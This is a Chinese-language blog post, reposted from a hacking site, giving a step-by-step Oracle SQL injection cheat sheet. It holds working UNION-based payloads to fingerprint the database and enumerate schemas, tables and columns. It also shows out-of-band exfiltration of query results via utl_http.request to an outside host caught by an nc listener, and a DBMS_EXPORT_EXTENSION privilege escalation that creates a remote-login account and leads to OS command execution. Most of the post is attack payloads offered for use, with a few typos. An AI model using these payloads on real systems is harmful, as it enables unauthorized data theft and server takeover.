注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

 
 
 
 
 

日志

 
 

Oracle注入--基础篇  

2015-01-17 14:46:26|  分类: SQL injection |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
1.判断注入
①字符型 ' and '1'='1
     ' and '1'='2

2.
; mssql数据库
-- 只有mssql和Oracle支持

判断Oracle数据库 (原理:利用Oracle数据库)
 and exist(select * from dual)--
 and (select count(*) from user_tables)>0--

3.获取基本信息
①获取字段数
order by N--
②获取数据库版本
 and 1=2 union select (select banner from sys.v_$version where rownum=1 from dual)--
③获取数据库连接用户
 and 1=2 union select (select SYS_CONTEXT('USERENV','CURRENT_USER') from dual) from dual--
④获取日志文件的绝对路径,同样可以通过这个判断系统类型
 and 1=2 union select (select instance_name from v$instance) from dual--

4.和MySQL>=5.0 MsSQL>=2005的特性利用
①爆数据库名
#爆出第一个数据库名
 and 1=2 union select (select owner from all_tables where rownum=1)  from dual--

#依次爆出所有数据库名,假设第一个库名为first_dbname
 and 1=2 union select (select owner from all_tables where rownum=1 and owner<>'first-dbname') from dual--

②爆出表名
#爆出第一个表名
 and 1=2 union select (select table_name from user_tables where rownum=1) from dual--

同爆库一般爆出下一个表,但是必须注意 表名用大写或者 大写的hex。
有时候我们只想要特定数据库中中的特定的表名,就可采用模糊查询语句,如下:
 and (seclect column_name from user_tab_columns where column_name like '%25pass%25')>0--

如果成功也可以继续提交
and 1=2 union select (select column_name from user_tab_columns where column_name like '%25pass%25')from dula--
(这也猜表名的一种方法,但是比上面的麻烦)


③爆字段
#爆出表tablename中的第一个字段名
 and 1=2 union select (select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1) from dual--


and 1=2 union select (select column_name from user_tab_columns where table_name='tablename' and column_name<>'first_col_name' and rownum=1) from dual--
#这样就可以爆出所有的字段名

/*获取内容*/




5.Oracle注入过程的特性
这点主要说明在Oracle注入中和其他数据库注入不大一样的几点说明。

①注入类型必须确定
Oracle注入中严格要求各个字段的类型必须和定义的一致,否则会出错。so we can 通过下面方法确定各个字段类型。
 and 1=2 union select 'null',null,null,null,null,null,null from dual--
如此依次将下面的每个null用单引号替换,查看返回页面,返回正常说明那个字段为字符。确定所有字符类型后就可以注入了。是字符型的就是'null',数字型就是null

②UTL_HTTP存储过程反弹注入
oracle中提供utl_http.request的包函数,用于取得远程web服务器的请求信息,因为我们可以利用它来反弹回信息。再加上Oracle本身经常是以system权限运行的,所以拿下了Oracle基本拿下服务器了。

具体使用方法如下:
#判断UTL_HTTP存储搓成是否可用
 and exist(select count(*) from all_objects where object_name='UTL_HTTP')--

#第一步,本地NC监听一个端口
nc -vv -l -p 8989

#注入点执行
 and utl_http.request('http://darkall.cc:port'||(SQL Query))=1
#举个例子
 and utl_http.request('http://darkall.cc:port'||(select banner from sys.$version where rownum=1))=1-

这样在NC端就会收到SQL执行语句后返回的结果。但是这个样子很麻烦,因为每次注入点提交一次请求NC就会断开连接,需要重新启动NC。

③系统特性
在不同的OS平台我们需要考虑到,win下,Oracle是以服务方式启动,在web注射下就可以直接获得system权限,LINUX下虽然不是root,不过权限也挺高的,可能可以通过web注射添加系统账户。他们用到的函数是:
SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES()
具体的应用方法是:
SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);[Attack-Command]END;–',SYS',0,'1',0)
#将其中的Attack-Command替换成对应的命令即可,但是需要说明的是该利用方法必须结合上面的UTL_HTTP存储过程。

④注入点创建runCMD和文件操作
#这个我看到webshell大牛没有实践过,等我自己有了实践再行补上

⑤创建远程连接账户
#注入点执行
and '1'<>'2'||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE " DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE " " Create USER LengF IDENTIFIED BY LengF " ";END;–',SYS',0,'1',0) from dual)--

#确定账户是否添加成功
 and 1<>(select user_id from all_users where username='lengf')--

#赋予账户远程连接权限
 and '1'<>'2'||(selec SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE " DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE " " GRANT CONNECT to LengF " ";END;–',SYS',0,'1',0) from dual--

#删除账户
 and '1'<>'2'||(selec SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE " DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE " " drop USER LengF " ";END;–',SYS',0,'1',0) from dual--

⑥命令执行
通过添加账号或者其他手段获取远程连接权限后,利用SQLpus连接后即可执行命令。
windows
host CMD #CMD为具体命令,比如ipconfig

Linux
!command CMD

当然除了这个方法执行命令外还可以通过导入导出表执行命令,比较感兴趣的童鞋可以自己查。
oracle注入危害还是很大的,甚至可以执行exploit代码,基本的应用和特性就这些。

以上转载于
Oracle 注入基础及相关特性总结:http://www.webshell.cc/1220.html
  评论这张
 
阅读(80)| 评论(0)
推荐

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017